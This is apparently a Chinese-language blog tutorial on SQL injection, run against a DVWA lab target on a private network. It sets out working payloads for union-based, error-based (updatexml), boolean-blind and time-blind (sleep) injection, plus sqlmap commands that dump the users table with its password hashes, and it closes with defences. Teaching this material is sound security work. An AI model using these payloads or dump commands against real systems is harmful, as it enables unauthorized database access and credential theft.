从零开始学习 sql 注入,常见的 sql 注入解析
源文地址:<longyusec.com>
一、测试环境与前置条件
本次测试使用的环境信息如下:
1、红队测试机:Kali Linux 2026.1 操作系统,IP 地址为 192.168.100.10,预装 sqlmap、Burp Suite 等渗透测试工具
2、靶机:Ubuntu 22.04 LTS 操作系统,IP 地址为 192.168.100.20,搭建 DVWA 靶场环境,Web 服务端口为 80,数据库版本为 MySQL 8.0.36,PHP 版本为 8.1
3、前置条件:测试机与靶机网络互通,已获取 DVWA 靶场低安全级别访问权限,浏览器已配置 Burp Suite 代理,可正常拦截与修改 HTTP 请求
测试前先验证两台设备的网络连通性,执行命令如下:
kali@kali:~$ ping -c 3 192.168.100.20
PING 192.168.100.20 (192.168.100.20) 56(84) bytes of data.
64 bytes from 192.168.100.20: icmp_seq=1 ttl=64 time=0.312 ms
64 bytes from 192.168.100.20: icmp_seq=2 ttl=64 time=0.289 ms
64 bytes from 192.168.100.20: icmp_seq=3 ttl=64 time=0.294 ms
--- 192.168.100.20 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2038ms
rtt min/avg/max/mdev = 0.289/0.298/0.312/0.010 ms
上述结果显示,测试机向靶机发送 3 个 ICMP 数据包,全部接收成功,无丢包,网络延迟稳定,说明两台设备网络互通正常,可开展后续测试。
二、sql 注入的基础原理与形成条件
sql 注入是一种针对数据库服务的攻击方式,当应用程序将用户可控的参数直接拼接到 SQL 语句中,且未对用户输入做严格的校验与过滤时,红队可以通过构造恶意的 SQL 语句,让数据库执行非预期的操作,最终导致数据泄露、数据篡改、服务器权限被获取等风险。
sql 注入的形成需要满足两个基础条件:
1、用户可控的参数可以直接拼接到 SQL 语句中执行
2、数据库服务可以执行拼接后的恶意 SQL 语句,未做有效的拦截
在实际测试中,所有用户可控的参数都可能存在注入风险,包括 URL 中的 GET 参数、POST 请求体中的参数、Cookie 字段、HTTP 请求头中的 User-Agent、X-Forwarded-For 等字段,测试时需要覆盖所有可控参数。
三、常见 sql 注入类型与实操解析
3.1 数字型 sql 注入
数字型 sql 注入是入门级的注入类型,注入点的参数为数字类型,比如用户 ID、商品 ID 等,后端 SQL 语句通常没有对参数添加引号包裹,拼接逻辑简单。
DVWA 靶场的低安全级别 SQL 注入模块,后端 SQL 语句为:
SELECT first_name, last_name FROM users WHERE user_id = $id;
用户传入的 id 参数直接拼接到 SQL 语句中,没有任何过滤,也没有引号包裹。
测试步骤:
1、判断注入点是否存在
正常访问靶场地址,传入 id=1,页面返回 ID 为 1 的用户信息。传入 id=1 and 1=1,页面正常返回内容;传入 id=1 and 1=2,页面无用户信息返回。说明页面的返回结果由传入的 SQL 语句执行结果决定,注入点存在。
2、判断查询结果的字段数
使用 order by 语句判断查询的字段数量,order by 可以按照查询结果的指定列进行排序,当指定的列数超过实际查询的字段数时,数据库会返回报错。依次传入 id=1 order by 1、id=1 order by 2,页面均正常返回;传入 id=1 order by 3,页面返回报错,说明该 SQL 语句的查询结果只有 2 个字段。
3、联合查询获取数据
使用 union select 语句进行联合查询,需要保证前后两个查询的字段数一致。为了让原查询的结果不显示,将 id 设置为不存在的数值,比如 - 1,最终构造的 payload 为 id=-1 union select 1,2。页面返回结果中显示了 1 和 2 的位置,说明这两个位置可以用来输出想要获取的数据。
接下来获取当前数据库名与数据库版本,构造 payload:id=-1 union select version (),database ()。页面返回的结果中,第一个位置显示数据库版本为 8.0.36-0ubuntu0.22.04.1,第二个位置显示当前数据库名为 dvwa。
3.2 字符型 sql 注入
字符型 sql 注入的注入点参数为字符串类型,后端 SQL 语句会对参数添加单引号或双引号包裹,想要执行恶意 SQL 语句,需要先闭合参数前后的引号,再注释掉多余的引号。
DVWA 靶场中,字符型注入的后端 SQL 语句为:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
id 参数被单引号包裹,直接传入 and 1=1 会被当作字符串的一部分,无法执行 SQL 逻辑。
测试步骤:
1、判断注入点与闭合方式
传入 id=1',页面返回 SQL 语法报错,说明单引号被带入数据库执行,破坏了原有的 SQL 语句结构。传入 id=1' and '1'='1,页面正常返回用户信息;传入 id=1' and '1'='2,页面无内容返回,说明注入点存在,且需要用单引号闭合。
如果传入单引号没有报错,可尝试传入双引号,判断是否为双引号包裹的字符型注入;同时,注释符 -- 后面需要添加空格,在 URL 中通常用 + 代替空格,也就是 --+,避免后续的单引号闭合导致语句报错。
2、后续数据获取操作
完成引号闭合后,后续的字段数判断、联合查询获取数据的操作,与数字型注入完全一致。比如获取数据库名的 payload 为 id=-1' union select 1,database ()--+
通过上面两个案例可以看到,数字型注入与字符型注入的差异,在于后端 SQL 语句是否对参数添加了引号包裹。数字型注入无需闭合引号,可直接拼接 SQL 语句;字符型注入需要先闭合参数前后的引号,才能让恶意语句被数据库执行。
3.3 报错注入
报错注入适用于页面不显示查询结果,但会返回数据库的详细报错信息的场景。红队可以通过构造特殊的 SQL 函数,让想要获取的数据在报错信息中显示出来。
MySQL 中常用的报错函数为 updatexml 和 extractvalue,两个函数的第二个参数需要符合 XML 路径格式,当传入不符合格式的内容时,会触发报错,并将传入的内容显示在报错信息中。
测试步骤:
1、构造报错 payload 获取数据库名
使用 updatexml 函数构造 payload:id=1' and updatexml (1,concat (0x7e,database (),0x7e),1)--+。其中 0x7e 是波浪号~的十六进制编码,用来区分需要获取的数据,concat 函数用来拼接内容。页面返回的报错信息为:XPATH syntax error: 'dvwa',可以直接看到当前数据库名为 dvwa。
2、获取数据库中的表名
构造 payload 获取 dvwa 数据库中的所有表名:id=1' and updatexml (1,concat (0x7e,(select group_concat (table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)--+。报错信息中会返回 dvwa 数据库中的所有表名,包括 users、guestbook 等表。
updatexml 函数最多只能返回 32 个字符的内容,要是获取的数据长度超过 32 位,需要使用 substr 函数分段截取,才能获取完整的内容。
3.4 布尔盲注
布尔盲注适用于页面不显示查询结果,也不返回数据库报错信息,只有两种返回状态的场景,比如查询成功时页面显示正常内容,查询失败时页面显示空白或固定的错误提示。
布尔盲注需要通过构造条件判断语句,逐字符猜解想要获取的数据,核心是通过页面的返回状态,判断猜解的内容是否正确。
测试步骤:
1、判断数据库名的长度
构造 payload:id=1' and length (database ())=4--+。页面正常返回,说明当前数据库名的长度为 4;如果传入 length (database ())=5,页面返回异常,即可确认数据库名长度。
2、逐字符猜解数据库名
使用 ascii 函数和 substr 函数,逐字符猜解数据库名的每一位,构造 payload:id=1' and ascii (substr (database (),1,1))=100--+。ascii 码 100 对应的字符是 d,页面正常返回,说明数据库名的第一个字符是 d。重复这个步骤,依次猜解后续的字符,最终得到完整的数据库名 dvwa。
3.5 时间盲注
时间盲注适用于页面没有任何状态差异,无论查询成功还是失败,页面的返回内容和加载状态都完全一致的场景。这种场景下,只能通过让数据库执行延迟操作,根据页面的加载时间,判断猜解的条件是否成立。
MySQL 中常用的延迟函数为 sleep (n),可以让数据库的执行暂停 n 秒,红队可以通过 if 条件语句,当条件成立时执行 sleep 函数,条件不成立时直接返回,通过页面的加载延迟判断结果。
测试步骤:
1、判断数据库名的长度
构造 payload:id=1' and if (length (database ())=4,sleep (5),1)--+。发送请求后,页面加载时间超过 5 秒,说明条件成立,数据库名的长度为 4;如果页面立即加载完成,说明条件不成立。
2、逐字符猜解数据库名
构造 payload:id=1' and if (ascii (substr (database (),1,1))=100,sleep (5),1)--+。页面加载延迟 5 秒,说明数据库名的第一个字符是 d,后续的猜解逻辑与布尔盲注一致。
手工进行布尔盲注和时间盲注的效率极低,实际测试中,通常使用 sqlmap 工具完成自动化的猜解操作,同时可以应对网络波动导致的时间判断误差。
四、sqlmap 自动化注入工具实操
sqlmap 是 Kali Linux 系统中预装的自动化 sql 注入工具,支持绝大多数数据库类型和注入类型,可完成从注入点检测到数据获取、权限提升的全流程操作。
本次测试使用的靶场地址为http://192.168.100.20/DVWA/vulnerabilities/sqli/?id=1\&Submit=Submit,DVWA 需要携带 Cookie 信息才能访问,所以命令中需要添加 --cookie 参数。
1、注入点检测命令
kali@kali:~$ sqlmap -u "http://192.168.100.20/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "PHPSESSID=8a7b6c5d4e3f2a1s0d9f8e7d6c5b4a3; security=low"
输出结果节选:
[19:42:15] [INFO] testing if GET parameter 'id' is dynamic
[19:42:15] [INFO] confirming that GET parameter 'id' is dynamic
[19:42:15] [INFO] GET parameter 'id' is dynamic
[19:42:15] [INFO] checking if the injection point on GET parameter 'id' is a false positive
[19:42:15] [WARNING] reflective value(s) found and filtering out
[19:42:15] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:42:15] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[19:42:20] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[19:42:20] [INFO] target URL appears to have 2 columns in query
[19:42:20] [INFO] GET parameter 'id' is 'UNION query' injectable
sqlmap 自动检测到 GET 参数 id 存在多种注入类型,包括布尔盲注、报错注入、时间盲注、联合查询注入,确认注入点存在。
2、常用数据获取命令
获取所有数据库名:
kali@kali:~$ sqlmap -u "http://192.168.100.20/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "PHPSESSID=8a7b6c5d4e3f2a1s0d9f8e7d6c5b4a3; security=low" --dbs
获取指定数据库中的表名:
kali@kali:~$ sqlmap -u "http://192.168.100.20/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "PHPSESSID=8a7b6c5d4e3f2a1s0d9f8e7d6c5b4a3; security=low" -D dvwa --tables
获取指定表中的所有字段与数据:
kali@kali:~$ sqlmap -u "http://192.168.100.20/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "PHPSESSID=8a7b6c5d4e3f2a1s0d9f8e7d6c5b4a3; security=low" -D dvwa -T users --dump
该命令会自动获取 users 表中的所有字段与数据,包括用户名和密码哈希。
五、sql 注入的防御方法
从蓝队的角度,sql 注入的防御需要从代码开发、数据库配置、网络防护多个层面开展,形成多层防护体系。
1、使用预编译语句与参数化查询
这是防御 sql 注入最有效的方式,预编译语句会将 SQL 语句的结构与用户输入的参数分离,用户输入的参数只会被当作字符串处理,不会被数据库当作 SQL 语句的一部分执行。所有开发语言都支持预编译功能,开发过程中请不要使用字符串拼接的方式构造 SQL 语句。
2、严格的输入校验
对用户输入的内容做严格的格式校验,比如用户 ID 参数只允许输入数字,用户名只允许输入字母、数字与下划线,不符合格式的输入直接拦截。
3、关闭数据库错误信息回显
生产环境中,请不要将数据库的详细报错信息直接返回到前端页面,避免红队通过报错信息获取数据库类型、版本、表结构等信息,为后续攻击提供便利。
4、最小权限原则配置数据库用户
为应用程序分配单独的数据库用户,只赋予该用户必要的数据库操作权限,比如只允许查询指定的表,不允许删除、修改数据,不允许访问系统数据库。即使出现 sql 注入漏洞,也能最大程度降低数据泄露的风险。
5、部署 WAF 防护设备
在网络边界部署 Web 应用防火墙,WAF 可以通过特征匹配、行为分析等方式,识别并拦截 sql 注入的恶意请求,形成网络层的防护屏障。
总结
sql 注入是 Web 安全中最常见的漏洞类型,不同的注入类型对应不同的应用场景,联合查询注入适用于页面直接显示查询结果的场景,报错注入适用于页面返回详细报错信息的场景,布尔盲注和时间盲注适用于页面无明显回显的场景。
源文地址:<longyusec.com>